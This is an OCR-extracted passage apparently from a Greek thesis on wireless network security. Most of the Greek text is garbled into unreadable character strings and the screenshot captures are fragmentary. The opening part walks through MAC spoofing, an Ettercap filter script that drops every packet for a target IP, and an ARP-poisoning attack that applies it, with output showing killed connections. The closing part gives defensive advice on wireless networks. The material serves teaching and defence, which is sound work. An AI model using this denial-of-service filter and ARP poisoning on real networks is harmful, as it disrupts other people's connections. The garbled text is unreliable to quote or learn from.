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To QTMOTEAEG A TIOU TIA{PVOVE GTI GUVEXELX O TNV 000V HAG, aTToSEKVUEL TNV AAAQY.

rrent MAC: s [
d MAC: 0e: 155 (Cimsys Inc)
dbt:-# macchanger -s wlan@
Current MAC: ©8:11:22:33:44:55 (Cimsys Inc)
ot@bt:~# ifconfig wlan up
: ERROR while getting interface flags: Mo such device
:~# ifconfig wlan@ up
tabt: # ifconfig
Link encap:Ethernet Hwaddr 80:1d:92:<
UP BROADCAST MULTICAST MTU:1560 M
errors:® droppe

encap:Local Loopba
addr:127.9.8.1 Ma
::1/128 Scope:Host
ACK RUNNING MTU:16436 Metric:l
ts:2 errors:0 drop runs: 0 fra
uns:@ car

collisions:@ txqueuelen:@
RX bytes:100 (1968.8 B) TX bytes:100 (108.0 B)

Link encap:Ethernet Hwaddr 08:11:22:33:44:55
UP BROADCAST MULTICAST MTU:1508 Metric:1
RX packets:3766 errors:® dropped:® overruns:@ frame:@

2| @ shell |

Eikova 35. AAAayn Mac Address

4.5 ENNIIOEXH DOS

Xe auto Tto €180G TG emiBeong xpnotpomoteitat Eava to Ettercap, to omolo mepiéyel
gpyarela ta omola pmopel va ekpeTaAAevTel kavels yio kabe (80¢ SikTvakng
Spaotnplomrag, amo texvikes sniffing €éwg ARP spoofing. Emtiong pe ™ BonBeiax avtov
TOU gpYaAEloV Elval @ IKTN 1] KATAOKELT] @IATpwV Ta omtoia fonBovv otn eoTioion 6NV
Spaotnplomra tou Siktvov. Eav yux mapadetypa BéAovpe va amokAsicovpe Evav host
atd To 8{KTLO, 0 TILo ATIAGG TPOTIOG YL va TiLTEVYXOel quTd elval va amokAeicovpe
OTIOLASTIOTE AVTOAACYT] TTAKETWVY ATIO KAl TPOG Tov host Tov BéAovpe va amokOPouE.

I va pTiaoupe éva Tétolo @iATpo, avoiyoupe évav text-editor émwg o KWrite kat
YPA&@OoUUE Ta TAPAKATW, avtikabiotwvtag to 'Target IP' pe v ip address tou
UTIOA0YLo TN 0TOV OTtolo BEAoUE Vo emiTEOOVE.

if (ip.src == 'Target IP' || ip.dst == "Target IP") {
drop();

kill();

msg("Packet Dropped\n");

}
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To tapamavw apxelo Tpémel va cwbel wg dos.eft péoa oto directory tou Ettercap. Autd
TIOU KAVEL TO TILO TT&Vw script elvat va eA€yxeL eav 1 Source [P 1 Destination IP
TalpLalovv pe 1o 6TOX0 Hag,.Edv autd cupfaivel TOTE ATOPPITITEL TO TAKETO KAL OTEAVEL
éva onpa RST oto punxdvnpa pe To omolo TpooTaBoVoE Vo ETIIKOLVWVTGEL 0 OTOXO0G. XTT|
OUVEXELX EXOVLE Eva unvupa oty 086vn, To omoio emiPBePfatwvel v amdppum Tov
UNVOHOTOG.

Window Help

File Edit Document View Bookmarks Toels Sessions Settings
He oo ad =8 9% 0% ®=
E KegdAao 1 Elgaywyr.do( | if (ip.src == '192.168.10.3' || ip.dst == '192.168.10.3') {
€| New Text Document.txt drop();
5 New Text Document (3).t] | KilL();
é ‘ mlsg("Packet Dropped\n");
1]
Save File - Kate = =

'E_ o \ @) ® ¥y | < jusr/share/ettercap/ |j |utfe =
o = [ = = = - |
= i | etterfilter.cnt etter.finger.mac
5 s
E & Desktop | |& ettercap.png = etterfilter.examples etter.finger.os
%J’ 2 Home Folder etter‘c!ns ) etter‘filter.kill @ etterlog_‘dtd
= etter.fields etter.filter.ssh etter.mime
i - Storage Media | - etter filter - etterfilter.tbl - etter.services
[T
< 4 Download &1 | [REEY

<= Music Ll Location: |EEE.eft ‘ H Save ]

4 Fictures Eilter:  [All Files [-]| cancel |

% videos }EJI

[Line: 5 Col: 2| |INS | NORM |dos.eft (2)
(a1 "7 ] [i»] % Findin Files & Terminal

Ewcova 36. Anutovpyia kat amobnksvaon tov @IATpov dos.eft

Aot to script £xel amobnkevBel To emdpuevo Prina eivat va yivel compile. To Ettercap
Xpnowomolel Eva Tpdypapua, To omoio ovopaletal etterfilter kat kdvel compile @idtpa
o€ apyela Ta omola pmopolv LETA va xpnotpomo 6oy amo to mpdypauua.. I'a va
TPEEOVE OUTO TO TPOYPAUUN ATIAX TIANKTPOAOYOUNE GE  YPAULT] EVTOAWV:

{ etterfilter dos.eft -o dos.ef
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root@bt: /jusr/share/ettercap - Shell - Konsole

Session Edit WView Bookmarks Settings Help

dos.eft -o dos.ef
ALoR & NaGA
12 protocol tables loaded:
DECODED DATA udp tcp gre icmp-iprarp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDP TCP IEMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'dos.eft' done.
Unfolding the meta-tree done.
Converting labels to real offsets done.
Writing output to 'dos.ef' done.

== Script encoded into 8 dpnstructions.

.#I

||| = shell |

Ewcova 37. Atabdikaoia compile Tov @iAtpov dos.eft

AxoAo00wg Eexivape To Ettercap amé to pevol tov BackTrack (BackTrack - Sniffers -
Ettercap). EmiAéyovtag otn ouvexeia Sniff ko Unified Sniffing aprnvoupe 1o
TPOYpaUP VA Xp1oLluomonjoel To interface mov éxyovpe TpomoTOMGEL

File Sniff Options Help

SF oK | 22 cancel |

e —-

Ewova 38. Emidoy) tov interface

H avaimon twv koppwv mov eivat cuvdedepévol oto SikTuo yivetal emidéyovtag:
Hosts - Scan for Hosts.
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ettercap NG-0.7.3

Start Targets Hosts Miew Mitm  Filters Logging Plugins Help

Host List &

IP Address MAC Address Description

FEI 68105 g 22 i nErERISEE ]
182.168.10.254 00:24:17:68:15:96

Delete Host Add to Target 1 Add to Target 2

1698 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Host 192.168.10.254 added to TARGET1
Host 192.168.10.3 added to TARGET2

Ewkova 39. Avalijtnon tTwv cuveedeuévwyv kOuPwv oto Siktvo

To emopevo Brpa eivat va mpootebel 0 0TOXOG LA GTO TPOYPAUUA, AUTO YIVETOL
emAéyovtag Targets - Targets List - Add Target . Zto avadvdpevo mapabupo
TANKTpoAoyoUue Tnv IP address Tou atoxov.

Start Targets Hosts Wiew Mitm FHlters Logging Plugins Help

Host List g2 Targets 38

Target 1 ] Target 2

%

2D ) =

’ IP address : [192.168.10.3|

Delete

< oK ] % cancel ] i

53 ports monitaored
7587 mac vendor fingerprint
1658 tcp OS fingerprint
2183 known services
Randomizing 255% hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Ewcova 40. Emidoyn) ¢ IP address tov atoyov
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[N va exvnoeln emiBeon emAéyovpe Mitm - ARP Poisoning - ok. TéAog poptwvovupe
To @iAtpo pag Filters - Load Filter emiAéyovupe to script kot TapakoAovBove To aTOXO
LOG VA XAVEL TO TIHKETA TIOU TIPOOPICOVTAL YIX QUTOV.

Start Targets Hosts View Mitm Filters Logging Plugins Help

Host List g Targets 3 |

Target 1
152.168.10.3

Target 2

Opticnal parameters

[1isniff remote connections.; |
[1 Only poison one-way.

Delete <ok | %gancel| Add

53 ports monitored
7587 mac vendor fingerprint

1698 tcp OS fingerprint

2183 known services

Randomizing 255 hosts for scanning...
Scanning the whole netmask for 255 hosts...
3 hosts added to the hosts list...

Ewcéva 41. ARP Poisoning

Start Targets Hosts View Mitm Filters Logging Plugins Help
Host List g2 Connections 38 ‘
Host [Port [-[Host |Port [Proto|state |Bytes
152.168.10.3 56666 - 80.202.18.208 12415 T killed 4]
152.168.10.3 53581 - 79.217.202.218 15812 U idle 103
152.168.10.3 53581 - 88.19251.145 34718 U idle 380
View Details Kill Connection Expunge Connections

acket Lropped
acket Droppead
acket Dropped
acket Dropped
acket Droppead
acket Oropped
acket Dropped
acket Droppead
acket Oropped
acket Dropped
acket Dropped
acket Dropped

[

Eikova 42. AotéAsoua ¢ emiOsong
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4.6 OOQPAKIZONTAX TO AXYPMATO AIKTYO

H amotuyia Twv maAdtepwv neBOSwv KPUTITOYPAPNONG KoL 1] LEYAAN eUPEAELa
EKTIOUTING TWV ACUPUATWV SIKTVWV KaBLoToUV avayakaia Tnv avedpeot VEwY
TEPLOPLOTIKWV UEBGSWV aaAAELAG IOV Bat EVIGYUGOLV TNV TIPOoTAC(A TwV Se50UEVWY
TIOU LETAPEPOVTAL PE LEGO TOV AEPQL.

EKTOG amd v avelpeon VEWV KPUTITOYPAPIK®OV HeBOSwV, 0L TPOoTIABELES
TPOCAVATOAL{OVTAL TIPOG TNV AVEVPEST AVCEWV TIOV B TPOGPEPOLVV APECA
ATOTEAEGUATA HECW TG UTIAPXOVOAG TEXVOYVWoiag. ETeld) o otdyog kabe emiSotou
eloPoAéa eival To acVppato péco mpodcPaong (router 1) access point), ot
TIAPAUETPOTIOMOELG AUTOV TOU PHEGOU Umopel va fonbrioovv otn Sla@uiaén twv
Sedouévwv.

ZTNV KaBNUEPVOTNTA AUTO TIOU GUVAVTALE elval £vag acUpHATOG SPOLOAOYNTNG LE
SSID To 6VouUX TG KATAOKEVAOTIKNG ETALPEING KAL EPYOOTACIAKES pOLVUICELS pE
avevepyn omoladnimote péBodo kpuTTOYPAPNONG. Zav poemiAeyuevn IP address tou
onpeiov mpooBaomng, cuvavtape v 192.168.0.1, 192.168.1.1 1 k&mola GAAN
ouvvnBLopévn SlevBuvon evd 1 AVAKAAVYT TWV TIPOETIAEYUEVWV KWSIKWV TIPOcfacng
Yyl TV SIETIA@T A6 OTIOV YIVETAL T PUOULOT TNG CUGKELTNG E(VAL JLO TIOAV QITTAY
umoBeon.

Me mpoemideypévn v IP address tou onueiov pooPaocng, username kot to password
Slaxeiplong, To aocVpUATO PEGO TIPOo Ao PTTOPEL TTOAD DKOAX VO UTTOKAXTIEL AKOUA
KOl ATTO apYAPLOUG.

'‘Evag eloBoAgag 0 omolog £xel BAAel 0KOTIO va eTLTEDEL 0TO CUGTNUA UAG, OTIWOSTTIOTE
Ba £xel K&TOLA ETLTIYUUEYT TipooTIadEeLa. ‘'Opws o€ Eva 0lKOLoKO TEPLBEGAAOV HEAAOV KATL
TETOLO0 eival KATIWG amifavo. I'ia autd T0 AdY0 0€ aUTO TO KEPEAALO TIapovaLldlovTal
oplopéva Baocikd frpata mov pmopovv va pag FonB1couv va KAVOULE G POAECTEPO
£va olkolako Siktuo. AvoTUX WG AUTESG oL puBUIoELS uTToPOVUV ATAd Vo kKaBuatepricouy
KOl OXL VO GTOUOTIOOUV EVOY EUTIELPO ETILTIOEUEVO.

4.6.1 TEXNIKEX [IPOXTAXIAX

o  AAAayn Kwdkov tpoofacong otov EEOTTALGHO

Exebov 0Aa Ta acVppata onpeia mpooBaong amaltoly KwdKoUs TTPpooacng ylo TNy
€l0060 010 SlaxelploTikd TePIBAAAOV TOUG. OL TTL0 TTOAAEG GUGKEVES £x0UV £vav adUvauo
TpokaBoplopévo kKwdiko, ( password / admin) 1 kat kaBo6Aov. H aAdayn Twv otoyeiwv
TPOGBacns Tov SLaXELPLOTH O€ LoXUPOUS KWwSIKOUG UTtopel va amoTpePel autov mov Ba
elofarel ato Siktuo va mepddel Tig pubuioelg Tov eEomALoOU KoL va StaxelplleTal
QUTOG TO acVpuaTo SikTvo.

e Alayn ™G mpoemAeypuévng IP 8tevBuvong tov e€omAtopov

Yilyovpa Ba ftav kaAd va aAdd&ovupe kal TV ecwtepikn StevBuvon IP tou uno-
S1kTUoU pag av autod pog emtpémetal. To 192.168.x.x epog SievBuvong poopiletal
HOVO Yl e0wTEPLKN Xp1Non. OL TEPLOGOTEPOL OL OTIOLOL YXPTOLULOTIOLOVV AUTO TO
gVpog SLtevBuvong, SovAsvovy oto 192.168.0.x yia T0 UTO-8(KTUO TOVG, TO OTOLO
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elval ToAv g0koAo va HavTEPEL KATOLOG. MTTOPOUUE VAL XPTNOLUOTIO|OOVE
omolodnmoTe aplBpo amod to 0 £éwg to 254 ywx tnv Tpitn oktada, £ToL pTopoV e va
XPNOLUOTIOCOVHE KATL OTIwG 192.168.95.X, £TOL WOTE OL TUXWV EMLTIOEUEVOL VO
Xpelnotel va SouAEPouy TepLoadTEPO. AUTO PTToPEl VA YIVEL ATIEVEPYOTIOLWVTAG TOV
DHCP server tov router kat puOuilovtag pévot oag tig IP S1evB0voelg Tov TOTIKOV
SikTvov.

e Amoékpuym / AAAaym SSID

Kabe aocvppato onpeio mpooPfaong £xetL eva Service Set Identifier (SSID), to omolo
0UCLAOTIKA lval To dvopa tou Siktvou. H kOpla Asttovpyla tou eivain
avayvwplon tov Siktvov. ‘0tav pa TEPUATIKN cuokeuT emBupel va cuvdebel o€ éva
Siktvo xpnowomotel pla puBHLON AVAYV®PLOTG 1) OTIO(X TNG ETLTPETEL VA
avayvwpifel ta Slabéoua Siktva TG TEPLOXNG. AUTO onuaivel OTL umopel va
UTIAPXOVV TIEPLOCOTEPX ATIO £va acVppata Siktua otny Sl meploxn. ‘Etot
odnyndnkape otn dnutovpyia Tov SSID wote va Eexywpifovpe Ta aovppata Siktva
Hetafv Toug.

OAa ta acOppata onpeia mpocBaong ekmépmovy £va onpa ( beacon ) kabe 1/10
TOV SevTEPOAETTOV KoL To omolo eplhapfdavetl to SSID pali pe dAda dedopéva.
AvTtd 10 beacon aviyveVetal amd TI§ ACUPUATEG CUOKEVES Kol SIVEL TIG TIANPO@POpPILES
mov xpelalovtatl yia va ouvvdeBolv oTo SikTvO. L0TOGO VUTIAPXEL KAL 1) ETIAOYT VX
pLOuifove TIG CUOKEVEG 6TO AGVPUATO SIKTUO WOTE VA UTTOPOVUE VA TIG
pvBuicovpe yelpokivnta pe to emBuunTo SSID kaL AAAEG ouvaPNG TANPOYOPILES
KOl VX ETLITPEMOVE TN oVVSeo™ aTo SikTLO pag. H kaBe cvuokevt) €xel ouviBws wg
TpoeTIAeyUEVO SSID To dvopua TOU KATACKEVAGTY).

o va ac@aAlooUE TO OLKLOKO MG acUPHATO SIKTUO €lval ONUAVTIKO va pnv
AVAKOLVWVOLUE OTL £xouvpue kav SSID, woTe va va euToSIo0VHE TIG VTTOVAES
AOVPUATEG CUOKEVEG ATIO TO VA AVIYVEVGOUV Kal va cuvdeBolv oto SiKTLO pHag.

QoTt600 1 TAKTIKY aUTH o€ SnuocLa 1 eTalplkd Siktva pmopel va amofel polpaia. Xe
QUTEG TIG TIEPLTITWOELG TA S{KTLA B TIPETEL VAL EKTIEUTOVY TNV VTIAPET TOUG, WOTE Ol
KALVOUPYLEG ACVPUATEG OCUGKEVEG VA UTTOPOVV VA T AVIXVEVLGOUV KAl Vo
ouvdeBoUV AUECWE 0E AUTA. L€ avTiBeTN TEPIMTWON, OL VEEG CUOKEVEG B TTpETEL
va avadntovv aTnv TEPLOXTN TO SIKTVO UE TO oUYKeEKPLUEVO SSID Kal va pwToUV KAbe
1600 av eivat To §ikTvo oTo omolo emBLVUOVY Vo ocuvEeBolv, kevtpilovtag To
EVELAPEPOV TWV VTTOPTPLWV ETLTIOEUEVWV.

Te £va 0LKoLaKO SikTuo akdpa Kal v 8 BEAOVE VA ATIEVEPYOTION|COVE TNV
gp@avion tou SSID, autd Tovu Ba TPETEL va KAVOUUE elval v dAAGEOVUE TO
TIPOETIAEYHEVO O€ €va S1KO LaG LOVadLKO, To oTolo pumopel va elval pia Tuxaia
aKOAOLOIX YPAUUATWY KAl APLOP@V.
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e Evepyomowmon WPA kpumttoypa@nong

'Onwg amodeixOnke kal 6To TponyoLuevo ke@diato, 1 WEP puébodog kpumtoypa@nong
elvat t600 adlvapn WoTe va eMITPETEL 0€ KGO emMITIOEUEVO PE TA KATAAANA epyaAeia
va elofdAeL 6To aoVppato Siktuo Tov xpnotlpomotet avtrn ™ pebodo. H WPA (Wi-Fi
Protected Access) uébodog mapéyetl ueyoAvtepn aoc@daieia amd v WEP pébodo, mapoia
QUTA EXEL KAl AUTN ASVVANIEG TTOV PTIOPEL VO EKPETAAAEVOEL KATTIOLOG Yl val
TPOOTEPATEL KL AUTO TO TO(XOG TIPOOTACIXG.

ElSikdtepa, 1 WPA-PSK (WPA - Pre-Shared Key) eivat 1laitepa evaAwtn o€ emiBecelg
A€o (dictionary attacks) a@ov otav £vag otabuog (ntda va cuvdebel pe otabpo
Baong (handshake), otéAvel TakéTa oTa OTIOIX OTIWGONTIOTE TIEPLEXETAUL 1) LUOTIKY AEEN
KAELSL, OV €xEL 0PLOTEL WG CLVONUATIKG TAUTOTIOMONG KAl EL6680V 6To SikTvo. 'EToL
0TIOLOOONTIOTE OTAOUOG TTAPAKOAOUOEL TNV EMIKOLVWVIA TWV SV PEPWV PTIOPEL VI
OUAAEEEL TTAKETA, TTIOV Bt XP1OLUOTIOINB0UV € EQAPUOYEG TIOU EKTEAOUV ETIOECELS
Ae€kov. Eival yvwoto 0TL o€ auTa Ta Ag§kd uTtdpyouv 0Aot ot Suvatol cuvduacpol 8
xapaxtipwv. Idavikn Oa eival emiong 1 aAlayn Tou KAeLS100 2-3 popég To xpovo. H
XPM oM VoG owaToL KAELSLOU glval TOAD OUAVTIKT @OV 1) EAGTTWOT) TOU UIKOUG TOU
KATW ato Toug 20 YapakTpes 1/kaLn xp1on kKowwyv Ae€ewv odnyel o€ pelwpéva
emimeda aoc@areiag.

Ye ovokevég e WPA2 miotomoinor, Oa ipEmel va yiveTal xp1ion Tov aAyopiBuov
kpuntoypagnong CCMP (mapariayr) tou AES) kat 0xt Tov cuvdvacpoy CCMP/TKIP 1)
AES/TKIP. e cvokevég pe motomoinon WPA, n xprion touv TKIP eivat mpotiudtepn,
TapOAa auTd 8 Bewpeltal ApKETA ACPAAEG apov 101 £xouv Bpebel coBapés aduvapieg
TOV.

e  WEP: KaAvtepo and to timot...

Edv 1 cuokeun mov xpnotpomoleitat Sev vTTOoTNPIlEL GAAT HEBOSO KPUTITOYPAPT OGS
mapd v WEP, (ocuxvo @awvdpevo oe media players, PDAs, and DVRs ), amo@Uyetat Tov
TIELPACUO VA TPOCTIEPACETE TN XP1I0M TNGS KpuTttoypaenong. H xpnion g WEP eivau
KaAUTEPT AVOT Ao TV amovcia omolovdnmoTte eldoug kpumToypdpnong. Eav
XPNOUOTIOMOETE AOLTIOV AUTO TO £(50G KPUTITOYPAPT|OTG (PPOVTIOTE WOTE TO HUOTIKO
KAELS1 va glval peyado kat 5U0koA0 Yl va To pavtePel kaveis. Emiong cuviotatain
TOKTIKT 0AAQYT] TOL.

e MAC filtering

H S1evBuvvon MAC (Media Access Control) eivatn @uoikn - povadikn Stevbuvon yla
kaBe kapta Siktvov. [Ipokettat yia evav 48umito aplBuod kaboplopuévo amo tov
kataokevaotr). Ta 48 umit tov xwpifovtal o 24 PMIT KAl ATTOTEAOVV TO LOVASLKO
AVAYVWPLOTIKO TOU KATACKEVAOTY, EkYwpnuéva amd v IEEE evo Ta vtoAoima 24
QTOTEAOVV HLa LOVASLIKT] KAPTA avayvwplong. e avtiBeon Aowmov pe tnv IP
StevBuveon, 1 MAC S1evBuvon eivat povadikn oe kabe kdpta SikTVoVL, £TOL
EVEPYOTIOLWVTAS TO QATPApLlopa Twv MAC StevBivoewv HTTOPOVULE Vo TIEPLOPICOVE
TIG GUOKEVEG IOV Ba atoKT|covV PO facns ato cvoTnpa pag. H Suvatdmrta avty
Sivetal péoa amd To SLAXELPLOTIKO TUNUA TOU ACVPUATOV EEOTIALGUOU OTIOU UTIOPOUV VA
MAwBoUV ot MAC 81evBUVOEL TWV UTIOAOYLOTWYV TIOU HOG EVELPEPEL VAL EXOUVV
mpooBaon. BEBala autn 1 nEB0S0G SEV TTAPEXEL KATIOLX OUCLAGTIKY AOQAAELR, 01OV
pa StevBuvon MAC pmopet va mapamomBel mapa moAL evkoAa(0Twg Sei&ape 6To
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TPONYOUUEVO KEPAAL0). TTap' dAa auTd, amayopeVeL TNV 6UVEECT GTOUG ATTAOVG
XPMoTeS Kal kaBuotepel yla Alyo pua emiBeon oto acVpuato onueio mpdoPaong.

¢ Amevepyomoinet TG acVpRATNG SLayEipLoNnG TOV EEOTALOHOU

To acVppato péco mpooPaong Ba mpémel va pOVULOTEL ETOL WOTE VA UMV Pmopel
KATOL0G VU £XEL TIPOG LT 0TO SLAXELPLOTIKO TUT A TOV EEOTALONOU PHEGH ATIO TNV
acVpUAaTN TPOcBacT aAAd HOVO HECW EVOVPUATNG. AUTO Ba £XEL (O ATIOTEAEGUA VO
amOTPEMEL KABe emTIBEPEVO OV B TpooTaBel va TtelpAael To SLAXELPLOTIKO
oUoTNHa TOV onpeiov Tpoofaong acvppaTa.

e ATEVEPYOTIOU)OT) THG ATOUAKPUOUEVTIC TIPOGPAGTC

OL TtepLocOTEPOL ACVPUATOL Fouters TPoGPEPOLV TN SUVATOHTNTA TNG
ATIOLOKPUOUEVT S TIPOGBaonS 6To SlayploTikd mepBaAiov pécw internet. [Savika,
auTN M EMAOYT Ba ETMPETE VX UTIAPYEL LOVO £V UTINPXE 0 TPOTOG v kKaBoploeL o
18106 TV IP S1ehBuveon 1) eav v pxe Eva TIEPLOPLOUEVO £UPOG ATAOUWY, oL oTol0L B
UTTopovo AV VA £X0UV TIPOCacT 0TO AcUPHATO HESO. Katd kavova, EKTOG Qv
XPELWALEOTE QUTY TNV ETAOYT], TO KAAVTEPO EVAL VU EXETE TNV EXETE ATIAVEPYOTIOUEVT).

e  Mszwwot) TG LoV 0G EKTIOUTNE TOU XGVPUATOV HEGOV TTPOGBAGTIC

H Suvatoémnta autn ev uTdpxEL 6 OAOUG TOUG ACUPUATOUG routers, cAAQ oplopEVOL
OTI0 QUTOVG EMITPETOVY TNV UEIWOT) TNG LoXVOG EKTTOUTING TOU ACUPUATOV HEGOU. AV KoL
glvat oxedov adlvato va puBuicel KATIOLOG TO OTUA TOCO KOAX WOTE va TIEPLopileTaL o€
EVA XWPO KL LOVO, 0PLOUEVES TTPpoOoTIABELEG PTTopEl v BonB1) 60UV 0TOV TIEPLOPLOUO TNG
LoXV0G EKTIOUTING KL KAT EMEKTAOT OTNV UEIWOT) TWV ETIIKE(UEVWV eTIBEGEWV. ETtiong
Ba TIPETEL VX POVTIOETE Yl TNV QUOLKT B€oT Tou PEoov, 1) oTtola Ba TPETEL Vi elvat
000 TO SUVATOV TILO KEVTPLKA TOU KTNPlov Kot pakpLd amd Tapdbupa Kot eEwTEPLIKOVG
Tolyovug. TéEAoG peTaKIVOVTAG TNV Kepala pmopeite va eAgyEete TV KatelBuvon TOL
OTLOTOG.

e Ileplocdtepeg ovUBOVALG

Anevepyomowwvtag to UPnP: Metd v amevepyotoinon touv UPnP pmopeite va
pBupicete pdvol oag TIg TUXOV TTOPTEG ETKOLVWVIOG IOV XPELX{OCATTEYLA TNV
AELTOVPYIX TWV EQPAPLOYWV OOG.

Evepyomowwvtag to firewall: e kdBe vtodoyloth oL CLUVEEETAL [E TO TOTIKS GOG
Sixtvo Ba tpEmeL va uTTAPXEL EVEPYO €va firewall, eite auTd TOL AeLTOVPYLIKOV OOG ElTE
KdTolo Tpito.

Amtevepyomowwvtag to file ko print sharing: Ynapyetn Suvatomta
QTIEVEPYOTIOMONG TOV SLUOLPAT OV APXEIWV KOl EKTUTIWTWV 1) AKOUA KOl
ATEYKATACTAOTG TG UTINPESiag amd Tnv acVpuatn cVvdeon. 'ia v HETAPOPA TV
apxelwv oag emAlte o evovppatn ovvdeon 1) xpnotpomomote kamolo USB/Flash
drive.

Infrastructure mode: X115 puBuiocels GUVEEON G TOL AGUPUATOV VTIOAOYLOTH EMAEETE
infrastructure tpomo oUvdeong kat oyt Ad-Hoc. Mg qutd ToV TPOTIO AmO@EVYETALT
AUEOT) ETKOWVWVIA VTIOAOYLOTWY, XWPIG TN LEGOANBNOT TOL ACUPUATOU oTUElov
mpocPaong.
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Mepropifovtag tov aplOuod twv hosts: Méow tov pnyxaviopov Swayeipiong twv TCP/IP
TPWTOKOAA WYV elvat SUVATOG 0 TTEPLOPLOUOG TOU ATOSEKTOV aApLBPoV oTAB WY IOV
UTTOPOVV va cuvEe00oUV ACUPUATA OTOV ESOTALOHO GOG.

Emtiong to acvpuato Siktuo Ba pmopolice va amteEVEPYOTIOLEITAL KL VO AVOLYEL LOVO TIG
WPES TIOL TO Ypelaleote. EAaxloTomOl®VTAG £TGL TOUG KIvEUVOUGS emiBeon§ o Sev Ba
glvat avolkto ovvexws. (Barken, 2003)

4.7 AAAEX MEOOAOI AXPAAEIAX

[TapOTL 0L GTPATNYIKEG TIOU AVOAVONKAY TIHPATIAV® UTIOPEL VX TIPOCPEPOLVY VA
LKAVOTIOMTLIKO eTiTES0 Ao PAAELNG, OE TTEPIPAALOVTA, OTIOV 1] AC@AAELX Elval pel{ovog
onpaciag (Ty. Epyactakd), amAd Sev apKoUV. e QUTEG TIG TEPIMTWOELS, B TIPETEL VO
xpnowomoteital emmAéov hardware 1| software, To omoto 8a kdvel To Siktuo
ACPAAECTEPO.

4.7.1 FIREWALLS

‘Eva acVppato Siktuo Ba tpEmel omwodnToTe va Bewpeltal avao@aieg Kol HEPOG TOU
Sadiktov. e autr TV mepimTwon éva firewall (toiyog mpootaciag) pmopel va
Bonbnoel oty eEdAetdm Twv kKvdvwv aoc@aieiog Tov Sltatpéxet To SikTvo. Avaddoya pe
TNV EYKATAGTAOT KAL TO €806 TN G TOALTIKNG TTOU akoAovBeital, éva firewall pmopei va
amotpePel TG un eéovolodotnpeves attoets. ‘Etol Snpovpyeital éva @uoiko epmodio
Yl TOUG ETLTIOEPEVOUG, OL OTIOLOL UTTOPEL VAL EXOVV TOV EAEYX0 TOU OLGUPUATOU SIKTUOU
Kol va Tpoomadolyv va SUelcSVC0VY GTO ECWTEPLKO SiKTLO.

Ta firewalls umopei va eival eite software eite hardware. H 18avikr AVon eivai i xprion
Kol Twv Svo. INuepa Opws oL routers @Epouv evowpatwpévo firewall kot Sivetain
SuvatotnTa yla evepyomoinon / amevepyotoinon tov. EKTOG amo Tnv ac@AAELx TTOU
Tapéyxouv ta firewalls 660 aopd Tov TEPLOPLONO TNG TTPOTPAONG 6TO SIKTUO KAL TOV
TPOCWTILKO UTIOAOYLOTH), EMTPETEL KAL TNV ACQAAN ATIOUAKPLGUEVT TipOcBacT (remote
access) p€oa oo PnXavIopovs auBevTIKoToNOoMG.

4.7.2 VPNS

It ovlnon mepl firewalls, a&ilel va ava@epBolv kat ta VPNs (Virtual Private
Network). To VPN elval éva ISLwTIKO - ELKOVIKO KAVAAL To oTolo BpiokeTal Tavw o€ éva
161 vTap)ov S{KTLO KL VTTOOTNPIlEL UTINPECIEG KPUTITOYPAPNOTG, TILGTOTIOMONG Kol
Staxeiplong kAeSiwv. To TAEOVEKTIA TOV lvaL 1) ao@aAn petakivnor Sedopuévwv
HETAEL TWV OVTOTITWV.

0 Adyog Opwg yla Tov omolo yivetat ava@opd ota VPNs elvat To yeyovog g ouxvig
EVOWUATWOTG TOVUG o€ epyaieia ] Aoylopka takéta. ‘Etol o éva firewall umopotv va
80000V pubuiocelg, ol oToieg B ATTOKAEIOUY EVTEAWG OAES TIG ELCEPXOUEVES ULTIOELG, LUE
etaipeon autég Twv Totomompévwy VPN otaBpwv. Auth n péBodog Sev dSnpovpyel pa
SALS o ac@aAelag POV yla TO ACUPUATO G HED TIPOTLACTG XAAX KAL YL TOUG XP1IOTES
TOU AoVPUATOV SIKTVUOU Kol TwV S€80UEVWVY TOUG.
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'Omwg eidaue koL og mponyolueva ke@aAaia, 1 WEP péfodog kpumrtoypagnong elvat
avao@ans. 'Evag emid£Elog emTIOEUEVOGS e Ta KAaTAAAN A epyadeia pmopel va Bpedel
oTNV (VN EKTOUTIG TOU SIKTUOU 0AG KAL VO CUAAAPEL APKETA TTAKETA YLO VOL AVAK TN OEL
TOV HUOTIKO Kwdiko WEP. 211 ouvéyela pe tn fonfeta autol Tou KwdikoL Pmopel va
TaySEPEL Kat OAN TNV TANPO@OPIN TTOU HETAKIVEITAL OTOV A€PA KoL VXL TNV
ATIOKWSIKOTIO OEL

Qotooo 1 xpnon m¢ VPN kpumttoypdaenong o cuvdvaoud pue tnv WEP, avaykalel Tov
ETILTIOEUEVO VU ATIOKPUTITOYPAPTOEL 0€ SUO eTTES AL £TO TIPWTO £MITIESO B TIPETEL VX
Bpebel o puotikog kwdikos tng WEP kpumttoypd@nong kat oto devtepo eminedo Oa
TIPETEL VA AVTIUETWTIIOEL TO LoXLPO Toixog TG VPN kpumtoypdagnong. Emeldn akplfwg,
AKOUO KAl Eva EUTIELPOG ETLITIOEUEVOG B pTropel pe evkoAia va avamapdyel Tov Kwoikd
TNG KPUTITOYPAPTOTG, VX TIPOCTIEPACEL TNV TILOTOTION O 1] TOV £Agy)0 TIpOC Ao, TO
TOC0OTO ETLTUXLAG PLaG TETOLAG ETIOEON G ElvaL TTOAV YapPnAo.

[apotin xprion tov VPN kat tov WEP givat pia BeATiwpévn TpoTaon, VTTAPXEL Eva
TEPACTIO UELOVEKTNUA. To TIPOPBAN LA TTPOEPYETAL ATIO TNV AVAYKT YA SITAAC X
EMEEEPYATTIKT] LOYVU, TIOU TIPOKAAEITAL ATIO TNV KPUTITOYPAPNOT) KOl
amoKpUTITOYpA@NoT o€ duo emineda. H xpnon tov WEP g cuvduacopd pe to VPN o€ eva
OWOTA pPUOULOUEVO AoUPUATO PECO TIPOOBaonG UTopel va EAAATTWOEL TNV TaXVTNTA TNG
petadoons katd 80% . Me dAda AdyLa, Ba xpelaotolv mepimov 10 Aemtd yio tnVv
QATIOGTOAY] EVOG apxelov pe evepyomoinuévn tnv WEP kpumtoypdenon, eve xwplis
KPUTITOYpA@M o1 Ba xpeldlovTav TePITov 2 AeTTA. AUTO UTopel va €xel coBapeEg
ETITTWOELS GTNV OUVSEGIUOTNTA KAL UTTOPEL VA APAVIGEL TOV EVOOUCIAGUO POG YIX TNV
LOYLKT] AGUPUOTY GUVSECIUOTNTA.

